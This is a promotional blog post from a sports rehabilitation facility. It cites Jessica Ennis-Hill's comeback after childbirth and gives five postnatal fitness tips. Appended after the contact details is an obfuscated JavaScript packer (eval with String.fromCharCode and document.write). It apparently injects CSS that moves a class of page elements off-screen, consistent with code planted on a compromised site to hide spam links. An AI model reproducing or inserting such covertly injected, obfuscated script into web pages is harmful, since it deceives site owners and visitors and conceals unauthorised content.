Jessica Ennis-Hill, the darling of British Athletics and an inspiration to women, athletes and sportsmen alike was this week crowned World Heptathlon Champion for the second time. If that wasn’t inspiring enough, on top of winning Olympic gold in 2012, it is only 13 months ago that she gave birth to her first son.
Many parents contending with sleepless nights may wonder how the Olympian from Sheffield was able to get back to her best whilst coping with the demands of motherhood. The 29-year-old has admitted it wasn’t easy and she couldn’t have done it without the support of her family, husband Andy and coaching team.
Perform’s world-leading rehabilitation and performance facility at St. George’s Park National Football Centre provides parents with conditioning services to develop fitness and get back in to shape.
The programme includes support to improve general fitness and mobility. It also incorporates areas such as strength and conditioning, physiology, recovery along with nutrition and hydration.
The struggle can be very real sometimes when wanting to lose some of the pregnancy weight gain but it should also be done in a safe, gradual way.
Here are Perform’s top 5 tips about getting back in to shape after pregnancy;
- Remember that physical fitness takes time — there are no shortcuts. Trying to rush too quickly can be dangerous to you and your family, so be patient and set realistic expectations.
- Take it easy on your abs! Even though you want your pre- pregnancy tummy back ASAP, you have to give it time. Your abdominal muscles have been stretched and weakened for 9 months.
- Detoxify your body from chemicals by not smoking, limiting alcohol and caffeine intake.
- You can burn up to 500 calories per day just by breastfeeding! It also helps your uterus contract, which will help make your stomach flatten faster during those first two weeks.
- Celebrate small victories. Your workouts might not start out as intense as they were pre-pregnancy, but you’ll eventually get back to that point and should be proud of your progress along the way.
For more information about conditioning programmes or any of Performs services please contact the Perform team on 01283 576333 or email [email protected]. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));’,30,30,’116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110′.split(‘|’),0,{}))